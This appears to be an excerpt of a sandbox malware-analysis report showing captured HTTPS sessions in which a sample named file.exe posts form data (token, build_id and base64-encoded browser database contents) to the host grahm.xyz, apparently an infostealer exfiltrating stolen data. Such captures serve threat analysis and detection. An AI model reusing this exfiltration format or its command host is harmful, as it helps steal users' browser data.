2024-12-12 15:46:58 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:46:58 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:46:58 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:46:58 UTC	11617	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:47:00 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 12 Dec 2024 15:46:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-12 15:47:00 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.8	49744	116.203.10.31	443	3976	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 15:46:59 UTC	321	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----SJECBASJEKF37QIEU37Q User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: grahm.xyz Content-Length: 493 Connection: Keep-Alive Cache-Control: no-cache
2024-12-12 15:46:59 UTC	493	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 53 4a 45 43 42 41 53 4a 45 4b 46 33 37 51 49 45 55 33 37 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 65 65 37 63 36 39 64 39 39 64 65 62 64 33 33 38 37 66 32 33 34 39 66 66 66 35 62 33 38 64 0d 0a 2d 2d 2d 2d 2d 2d 53 4a 45 43 42 41 53 4a 45 4b 46 33 37 51 49 45 55 33 37 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 66 61 63 30 62 36 32 38 36 35 39 32 36 62 65 39 66 34 36 62 62 32 39 37 30 33 38 38 35 32 39 61 0d 0a 2d 2d 2d 2d 2d 2d 53 4a 45 43 42 41 53 4a 45 4b 46 33 37 51 49 45 55 33 37 51 0d 0a 43 6f 6e 74 Data Ascii: ------SJECBASJEKF37QIEU37QContent-Disposition: form-data; name="token"20ee7c69d99debd3387f2349fff5b38d------SJECBASJEKF37QIEU37QContent-Disposition: form-data; name="build_id"fac0b62865926be9f46bb2970388529a------SJECBASJEKF37QIEU37QCont
2024-12-12 15:47:00 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 12 Dec 2024 15:47:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-12 15:47:00 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.8	49756	116.203.10.31	443	3976	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 15:47:05 UTC	322	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----ZCJMOPPPH4EUAIEK6PHL User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: grahm.xyz Content-Length: 3161 Connection: Keep-Alive Cache-Control: no-cache
2024-12-12 15:47:05 UTC	3161	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 5a 43 4a 4d 4f 50 50 50 48 34 45 55 41 49 45 4b 36 50 48 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 65 65 37 63 36 39 64 39 39 64 65 62 64 33 33 38 37 66 32 33 34 39 66 66 66 35 62 33 38 64 0d 0a 2d 2d 2d 2d 2d 2d 5a 43 4a 4d 4f 50 50 50 48 34 45 55 41 49 45 4b 36 50 48 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 66 61 63 30 62 36 32 38 36 35 39 32 36 62 65 39 66 34 36 62 62 32 39 37 30 33 38 38 35 32 39 61 0d 0a 2d 2d 2d 2d 2d 2d 5a 43 4a 4d 4f 50 50 50 48 34 45 55 41 49 45 4b 36 50 48 4c 0d 0a 43 6f 6e 74 Data Ascii: ------ZCJMOPPPH4EUAIEK6PHLContent-Disposition: form-data; name="token"20ee7c69d99debd3387f2349fff5b38d------ZCJMOPPPH4EUAIEK6PHLContent-Disposition: form-data; name="build_id"fac0b62865926be9f46bb2970388529a------ZCJMOPPPH4EUAIEK6PHLCont
2024-12-12 15:47:06 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 12 Dec 2024 15:47:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-12 15:47:06 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.8	49763	116.203.10.31	443	3976	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 15:47:06 UTC	324	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----S0HDTR1VKF37YUAS2VA1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: grahm.xyz Content-Length: 207993 Connection: Keep-Alive Cache-Control: no-cache
2024-12-12 15:47:06 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 53 30 48 44 54 52 31 56 4b 46 33 37 59 55 41 53 32 56 41 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 65 65 37 63 36 39 64 39 39 64 65 62 64 33 33 38 37 66 32 33 34 39 66 66 66 35 62 33 38 64 0d 0a 2d 2d 2d 2d 2d 2d 53 30 48 44 54 52 31 56 4b 46 33 37 59 55 41 53 32 56 41 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 66 61 63 30 62 36 32 38 36 35 39 32 36 62 65 39 66 34 36 62 62 32 39 37 30 33 38 38 35 32 39 61 0d 0a 2d 2d 2d 2d 2d 2d 53 30 48 44 54 52 31 56 4b 46 33 37 59 55 41 53 32 56 41 31 0d 0a 43 6f 6e 74 Data Ascii: ------S0HDTR1VKF37YUAS2VA1Content-Disposition: form-data; name="token"20ee7c69d99debd3387f2349fff5b38d------S0HDTR1VKF37YUAS2VA1Content-Disposition: form-data; name="build_id"fac0b62865926be9f46bb2970388529a------S0HDTR1VKF37YUAS2VA1Cont
2024-12-12 15:47:06 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:47:06 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:47:06 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:47:06 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:47:06 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:47:06 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:47:06 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:47:06 UTC	16355	OUT	Data Raw: 4d 54 43 6c 51 42 41 59 58 4b 79 73 42 57 58 52 68 59 6d 78 6c 63 33 46 73 61 58 52 6c 58 33 4e 6c 63 58 56 6c 62 6d 4e 6c 63 33 46 73 61 58 52 6c 58 33 4e 6c 63 58 56 6c 62 6d 4e 6c 42 55 4e 53 52 55 46 55 52 53 42 55 51 55 4a 4d 52 53 42 7a 63 57 78 70 64 47 56 66 63 32 56 78 64 57 56 75 59 32 55 6f 62 6d 46 74 5a 53 78 7a 5a 58 45 70 67 58 38 44 42 78 63 56 46 51 47 44 59 58 52 68 59 6d 78 6c 64 58 4a 73 63 33 56 79 62 48 4d 45 51 31 4a 46 51 56 52 46 49 46 52 42 51 6b 78 46 49 48 56 79 62 48 4d 6f 61 57 51 67 53 55 35 55 52 55 64 46 55 69 42 51 55 6b 6c 4e 51 56 4a 5a 49 45 74 46 57 53 42 42 56 56 52 50 53 55 35 44 55 6b 56 4e 52 55 35 55 4c 48 56 79 62 43 42 4d 54 30 35 48 56 6b 46 53 51 30 68 42 55 69 78 30 61 58 52 73 5a 53 42 4d 54 30 35 48 56 6b Data Ascii: MTClQBAYXKysBWXRhYmxlc3FsaXRlX3NlcXVlbmNlc3FsaXRlX3NlcXVlbmNlBUNSRUFURSBUQUJMRSBzcWxpdGVfc2VxdWVuY2UobmFtZSxzZXEpgX8DBxcVFQGDYXRhYmxldXJsc3VybHMEQ1JFQVRFIFRBQkxFIHVybHMoaWQgSU5URUdFUiBQUklNQVJZIEtFWSBBVVRPSU5DUkVNRU5ULHVybCBMT05HVkFSQ0hBUix0aXRsZSBMT05HVk
2024-12-12 15:47:06 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:47:08 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 12 Dec 2024 15:47:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.8	49762	142.250.181.65	443	7440	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 15:47:06 UTC	594	OUT	GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
